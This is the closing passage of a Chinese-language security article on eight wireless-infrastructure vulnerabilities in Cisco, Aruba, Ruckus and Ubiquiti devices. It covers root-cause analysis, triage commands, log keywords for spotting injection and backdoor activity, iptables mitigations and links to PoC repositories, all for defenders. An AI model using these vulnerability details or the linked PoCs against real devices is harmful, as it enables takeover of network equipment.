5.2 关键 PoC 仓库 Cisco IOS XE 后门检测 :https://github.com/SecurityRiskAdvisors/CVE-2023-20198Cisco 安全公告 :https://sec.cloudapps.cisco.com/security/center/publicationListing.xAruba 安全公告 :https://www.hpe.com/us/services/cybersecurity-security-advisories.htmlRuckus 安全公告 :https://www.commscope.com/globalassets/digizone/123066-ruckus-wireless-security-advisories.pdfUbiquiti 安全公告 :https://community.ui.com/categories/security-advisoriesNuclei Templates :https://github.com/projectdiscovery/nuclei-templates5.3 验证思路(防守型) 版本确认 :首先确认目标设备固件版本是否在受影响范围内补丁验证 :检查是否已安装厂商发布的安全补丁配置审计 :审查管理接口是否暴露至不可信网络流量基线 :建立正常管理流量基线,检测异常请求模式隔离测试 :在隔离环境中使用本文 PoC 验证漏洞存在性0x06 共性攻击模式分析 6.1 管理接口暴露模式 本专题中 8 个漏洞的共同前提是管理接口暴露至可攻击的网络区域。Cisco IOS XE WebUI(TCP 443)、Aruba PAPI 协议(UDP 8211)、Ruckus AP Web 服务(TCP 443)、Ubiquiti UniFi(TCP 8443/443)均属于管理平面接口。许多组织在部署无线网络设备时,默认允许从所有网络段访问管理界面,这是最根本的安全配置失误。攻击者一旦从任何方向到达管理端口,即可尝试利用本文中的漏洞。
6.2 认证机制缺陷模式 认证绕过是无线网络设备中最常见的严重漏洞类型。CVE-2023-20198 利用内部调试端点绕过认证,CVE-2025-20188 利用硬编码 JWT 密钥伪造身份,CVE-2026-23813 利用密码恢复端点重置凭据,CVE-2026-34908 利用认证中间件缺陷绕过会话验证。这些漏洞的共同根因是:设备固件中存在"后门"性质的接口或密钥,在设计和开发阶段未被充分审计。
6.3 命令注入与输入验证模式 命令注入是另一类高频漏洞模式。CVE-2023-20273(IOS XE 包捕获功能)、CVE-2023-25717(Ruckus ping 诊断)、CVE-2025-46122(Ruckus traceroute)、CVE-2026-34910(UniFi 配置导入)均源于将用户输入直接拼接到系统命令中。这类漏洞的本质是违反了"永远不要信任用户输入"的基本安全原则。网络设备固件开发团队往往更关注功能实现和协议兼容性,而忽视了输入验证和命令执行的安全隔离。
6.4 固件安全与供应链模式 硬编码凭据和密钥(CVE-2025-20188)反映了嵌入式设备固件开发中的系统性问题。固件二进制中硬编码的密钥可被任何能提取固件的研究者获取,一旦公开即影响全球所有同型号设备。此外,CVE-2025-20188 中固件上传接口缺乏完整性校验,允许攻击者植入改装固件,这是典型的供应链攻击向量。
6.5 零日利用与僵尸网络生态 CVE-2023-20198/20273 被大规模在野利用(超过 10,000 台设备被植入后门),CVE-2023-25717 被 AndoryuBot 僵尸网络利用,CVE-2026-34908/09/10 被 CISA 收录至 KEV。这些数据表明,无线网络设备已成为高级威胁行为者的重要目标。攻击者从漏洞发现到武器化利用的窗口期越来越短,防守方必须在厂商发布补丁后第一时间完成部署。
0x07 应急排查与防守建议 7.1 紧急排查清单 # Cisco IOS XE 排查
show version | include IOS
show ip http server status
show users
sha256 hash /packages/ios.bin
# Aruba Mobility Controller 排查
show version
show logging | include PAPI
show ap database
# Ruckus AP 排查
get version
get service
log show | grep "cmd\|injection\|error"
# Ubiquiti UniFi 排查
ubnt-version
cat /var/log/messages | grep "auth\|login\|error"
ls -la /etc/persistent/ 7.2 各产品日志关键字段 产品 日志路径 关键告警字段 Cisco IOS XE show loggingwebui, defaulting, unauthorized, backdoorAruba MC show logging / PAPI logsPAPI overflow, buffer, segfault, auth bypassRuckus AP /var/log/messagescmd, injection, system(), ping, tracerouteUbiquiti UniFi /var/log/messages / server.logauth, super/login, path, traversal, import
7.3 紧急缓解措施 # Cisco: 禁用 WebUI(最优先)
configure terminal
no ip http secure-server
no ip http server
end
# Aruba: 限制 PAPI 端口访问
iptables -A INPUT -p udp --dport 8211 -s <controller_ip> -j ACCEPT
iptables -A INPUT -p udp --dport 8211 -j DROP
# Ruckus: 限制管理接口访问
iptables -A INPUT -p tcp --dport 443 -s <mgmt_subnet> -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP
# Ubiquiti: 限制管理端口
iptables -A INPUT -p tcp --dport 8443 -s <mgmt_subnet> -j ACCEPT
iptables -A INPUT -p tcp --dport 8443 -j DROP
iptables -A INPUT -p tcp --dport 443 -s <mgmt_subnet> -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP 7.4 长期安全加固 管理平面隔离 :将所有网络设备管理接口置于独立管理 VLAN,仅允许堡垒机 IP 访问最小权限原则 :为设备管理创建专用账户,避免使用默认 admin 凭据自动化补丁管理 :建立固件版本跟踪和自动化升级流程,确保补丁在 72 小时内部署固件完整性校验 :定期检查设备固件哈希值,对比厂商发布的官方哈希网络分段 :将无线管理网络与业务网络、客用网络严格隔离零信任架构 :对管理平面的所有访问实施 MFA 和会话审计流量监控 :部署针对管理协议的流量分析系统,检测异常 API 调用定期红蓝对抗 :定期对无线基础设施进行渗透测试和攻防演练应急响应预案 :制定针对无线设备被入侵的应急响应流程,包括隔离、取证、恢复0x08 参考资料 Cisco IOS XE WebUI 安全公告 (CVE-2023-20198 / CVE-2023-20273) CISA 关于 Cisco IOS XE 在野利用的联合公告 Cisco Catalyst WLC 安全公告 (CVE-2025-20188) HPE Aruba Networking 安全公告 (CVE-2024-26305 / CVE-2024-26304) HPE Aruba AOS-CX 安全公告 (CVE-2026-23813) Ruckus AP 安全公告 (CVE-2023-25717) Ubiquiti UniFi OS 安全公告 (CVE-2026-34908/34909/34910) Ubiquiti UniFi Network 安全公告 (CVE-2026-22557) CISA Known Exploited Vulnerabilities Catalog Nuclei Templates - CVE Detection NIST NVD - National Vulnerability Database AndoryuBot 僵尸网络分析: Ruckus AP 利用 IEEE 802.11 无线网络安全架构概述 OWASP 嵌入式设备安全指南 0x09 总结 本专题系统梳理了无线网络基础设施中 8 个最具代表性的高危漏洞,覆盖 Cisco、Aruba、Ruckus、Ubiquiti 四大厂商。这些漏洞的共同特点是:
影响范围广 :四大厂商设备占据全球企业无线市场绝大部分份额利用门槛低 :多数漏洞可远程利用,无需认证或仅需极低权限危害程度大 :可导致设备完全控制、无线流量窃取、内网横向渗透修复窗口短 :多个漏洞已有在野利用,从披露到武器化时间极短对于安全从业者而言,理解这些漏洞的原理和利用方式至关重要。我们需要:
持续跟踪 :关注各厂商安全公告和 CISA 告警快速响应 :建立完善的固件管理和补丁更新流程纵深防御 :管理平面隔离、MFA、流量监控多层防护实战演练 :定期对无线基础设施进行渗透测试无线网络基础设施的安全关乎企业网络的接入层安全。希望通过本专题的分享,能够帮助更多安全从业者理解和防范这些高危威胁。